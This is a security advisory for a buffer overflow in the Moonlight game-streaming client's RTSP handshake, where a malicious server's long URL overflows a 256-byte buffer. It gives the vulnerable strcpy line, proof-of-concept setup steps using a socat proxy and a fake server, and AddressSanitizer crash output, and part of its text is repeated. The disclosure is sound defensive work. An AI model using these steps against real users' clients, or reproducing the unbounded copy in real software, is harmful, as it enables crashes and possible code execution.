Impact
A malicious game streaming server could exploit a buffer overflow vulnerability to crash a moonlight client, or achieve remote code execution (RCE) on the client (with insufficient exploit mitigations or if mitigations can be bypassed). The CVSS vulnerabililty severity score is based on the worst-case scenario of a client with no exploit mitigations.
This vulnerability takes place after the pairing process, so it requires the user to be tricked into pairing to a malicious host. It is not possible to perform using a MITM due to public key pinning that takes place during the pairing process.
Summary
A buffer overflow was introduced in this commit due to unmitigated usage of unsafe C functions and improper bounds checking.
Details
A memory corruption issue exists within the performRtspHandshake()
function in RtspConnection.c
. The RTSP URL received from the game stream server is copied into static buffer rtspTargetUrl
of size 256, causing an overflow:
|
strcpy(rtspTargetUrl, serverInfo->rtspSessionUrl); |
The server-provided serverInfo->rtspSessionUrl
contents may be of arbitrary length, so it can overflow urlAddr
into the surrounding memory, allowing for a crash or RCE.
The vulnerable code path requires the client to have selected a video bitrate of at least 15 Mbps.
Patch
The bug was addressed in 24750d4
Affected Moonlight Client Versions
Known affected clients are listed below for convenience. Not all clients may be vulnerable with the same severity due to differences in built-in exploit mitigations on each platform.
Affected client version ranges (inclusive):
There may be other third-party Moonlight clients and forks that were not investigated for vulnerability.
PoC
A Python webserver can be used to simulate the gamestream server and serve the exploit: https://github.com/k3an3/cve/moonlight-common-c/
- Extract the webserver to a clean directory:
- Install needed dependencies (ideally within a Python virtual environment):
python3 -m pip install -r requirements.txt
- Run the webserver, and a proxy to handle TLS connections (requires
ssl-cert
Debian package, or similar):
socat openssl-listen:47984,fork,reuseaddr,key=/etc/ssl/private/ssl-cert-snakeoil.key,cert=/etc/ssl/certs/ssl-cert-snakeoil.pem,verify=0 tcp:127.0.0.1:47989
python3 app.py
- Create a
moonlight.conf
with the following contents:
address = <ADDRESS_OF_EXPLOIT_SERVER>
bitrate = 20000
- Invoke
moonlight stream
:
moonlight -config path/to/moonlight.conf stream
- The program should crash.
AddressSanitizer output:
$ ./moonlight stream
/home/keane/src/moonlight-embedded/src/config.c:125:20: runtime error: applying non-zero offset 1 to null pointer
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/keane/src/moonlight-embedded/src/config.c:125:20 in
Failed to open device /dev/input/event5
Failed to open device /dev/input/event6
Failed to open device /dev/input/event2
Failed to open device /dev/input/event1
Failed to open device /dev/input/event3
Failed to open device /dev/input/event7
Failed to open device /dev/input/event9
Failed to open device /dev/input/event10
Failed to open device /dev/input/event13
Failed to open device /dev/input/event14
Failed to open device /dev/input/event15
Failed to open device /dev/input/event16
Failed to open device /dev/input/event8
Failed to open device /dev/input/event4
Failed to open device /dev/input/event12
Failed to open device /dev/input/event0
Failed to open device /dev/input/event11
=================================================================
==511071==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fdf58df2a00 at pc 0x563b87ca9c8b bp 0x7ffc3def5e70 sp 0x7ffc3def5638
WRITE of size 131080 at 0x7fdf58df2a00 thread T0
#0 0x563b87ca9c8a in __interceptor_strcpy (/home/keane/src/moonlight-embedded/build/moonlight+0xe3c8a) (BuildId: 2971e520010823d36c5caa4a027a2b5a8ebd7cca)
#1 0x7fdf58cad1d3 in performRtspHandshake /home/keane/src/moonlight-embedded/third_party/moonlight-common-c/src/RtspConnection.c:797:13
#2 0x7fdf58c07c90 in LiStartConnection /home/keane/src/moonlight-embedded/third_party/moonlight-common-c/src/Connection.c:415:11
#3 0x563b87d1902b in stream /home/keane/src/moonlight-embedded/src/main.c:146:3
#4 0x563b87d1515c in main /home/keane/src/moonlight-embedded/src/main.c:395:5
#5 0x7fdf582456c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#6 0x7fdf58245784 in __libc_start_main csu/../csu/libc-start.c:360:3
#7 0x563b87c3bb80 in _start (/home/keane/src/moonlight-embedded/build/moonlight+0x75b80) (BuildId: 2971e520010823d36c5caa4a027a2b5a8ebd7cca)
0x7fdf58df2a00 is located 0 bytes to the right of global variable 'rtspTargetUrl' defined in '/home/keane/src/moonlight-embedded/third_party/moonlight-common-c/src/RtspConnection.c:9:13' (0x7fdf58df2900) of size 256
SUMMARY: AddressSanitizer: global-buffer-overflow (/home/keane/src/moonlight-embedded/build/moonlight+0xe3c8a) (BuildId: 2971e520010823d36c5caa4a027a2b5a8ebd7cca) in __interceptor_strcpy
Shadow bytes around the buggy address:
0x0ffc6b1b64f0: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x0ffc6b1b6500: 00 f9 f9 f9 01 f9 f9 f9 04 f9 f9 f9 01 f9 f9 f9
0x0ffc6b1b6510: 00 f9 f9 f9 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9
0x0ffc6b1b6520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffc6b1b6530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffc6b1b6540:[f9]f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 00 f9 f9 f9
0x0ffc6b1b6550: 00 f9 f9 f9 00 f9 f9 f9 00 00 00 00 00 00 00 00
0x0ffc6b1b6560: 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 04 f9 f9 f9
0x0ffc6b1b6570: 04 f9 f9 f9 01 f9 f9 f9 01 f9 f9 f9 01 f9 f9 f9
0x0ffc6b1b6580: 04 f9 f9 f9 01 f9 f9 f9 00 f9 f9 f9 02 f9 f9 f9
0x0ffc6b1b6590: 00 f9 f9 f9 04 f9 f9 f9 02 f9 f9 f9 01 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
AddressSanitizer:DEADLYSIGNAL
=================================================================
==511071==ERROR: AddressSanitizer: SEGV on unknown address 0x7fdf58e04000 (pc 0x7fdf58373000 bp 0x7ffc3def5e70 sp 0x7ffc3def5628 T0)
==511071==The signal is caused by a WRITE memory access.
#0 0x7fdf58373000 in __strcpy_avx2 string/../sysdeps/x86_64/multiarch/strcpy-avx2.S:222
#1 0x563b87ca9cbc in __interceptor_strcpy (/home/keane/src/moonlight-embedded/build/moonlight+0xe3cbc) (BuildId: 2971e520010823d36c5caa4a027a2b5a8ebd7cca)
#2 0x7fdf58cad1d3 in performRtspHandshake /home/keane/src/moonlight-embedded/third_party/moonlight-common-c/src/RtspConnection.c:797:13
#3 0x7fdf58c07c90 in LiStartConnection /home/keane/src/moonlight-embedded/third_party/moonlight-common-c/src/Connection.c:415:11
#4 0x563b87d1902b in stream /home/keane/src/moonlight-embedded/src/main.c:146:3
#5 0x563b87d1515c in main /home/keane/src/moonlight-embedded/src/main.c:395:5
#6 0x7fdf582456c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#7 0x7fdf58245784 in __libc_start_main csu/../csu/libc-start.c:360:3
#8 0x563b87c3bb80 in _start (/home/keane/src/moonlight-embedded/build/moonlight+0x75b80) (BuildId: 2971e520010823d36c5caa4a027a2b5a8ebd7cca)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV string/../sysdeps/x86_64/multiarch/strcpy-avx2.S:222 in __strcpy_avx2
==511071==ABORTING
Impact
A malicious game streaming server could exploit a buffer overflow vulnerability to crash a moonlight client, or achieve remote code execution (RCE) on the client (with insufficient exploit mitigations or if mitigations can be bypassed). The CVSS vulnerabililty severity score is based on the worst-case scenario of a client with no exploit mitigations.
This vulnerability takes place after the pairing process, so it requires the user to be tricked into pairing to a malicious host. It is not possible to perform using a MITM due to public key pinning that takes place during the pairing process.
Summary
A buffer overflow was introduced in this commit due to unmitigated usage of unsafe C functions and improper bounds checking.
Details
A memory corruption issue exists within the
performRtspHandshake()
function inRtspConnection.c
. The RTSP URL received from the game stream server is copied into static bufferrtspTargetUrl
of size 256, causing an overflow:moonlight-common-c/src/RtspConnection.c
Line 796 in 2bb026c
The server-provided
serverInfo->rtspSessionUrl
contents may be of arbitrary length, so it can overflowurlAddr
into the surrounding memory, allowing for a crash or RCE.The vulnerable code path requires the client to have selected a video bitrate of at least 15 Mbps.
Patch
The bug was addressed in 24750d4
Affected Moonlight Client Versions
Known affected clients are listed below for convenience. Not all clients may be vulnerable with the same severity due to differences in built-in exploit mitigations on each platform.
Affected client version ranges (inclusive):
There may be other third-party Moonlight clients and forks that were not investigated for vulnerability.
PoC
A Python webserver can be used to simulate the gamestream server and serve the exploit: https://github.com/k3an3/cve/moonlight-common-c/
ssl-cert
Debian package, or similar):moonlight.conf
with the following contents:moonlight stream
:AddressSanitizer output: